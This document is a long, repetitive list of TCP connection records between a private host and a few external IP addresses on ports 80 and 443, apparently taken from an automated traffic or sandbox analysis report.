Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49172
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49175
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49178
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49179
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49171 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49177 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49185 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49186 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49187 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49188 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49190 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49192 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
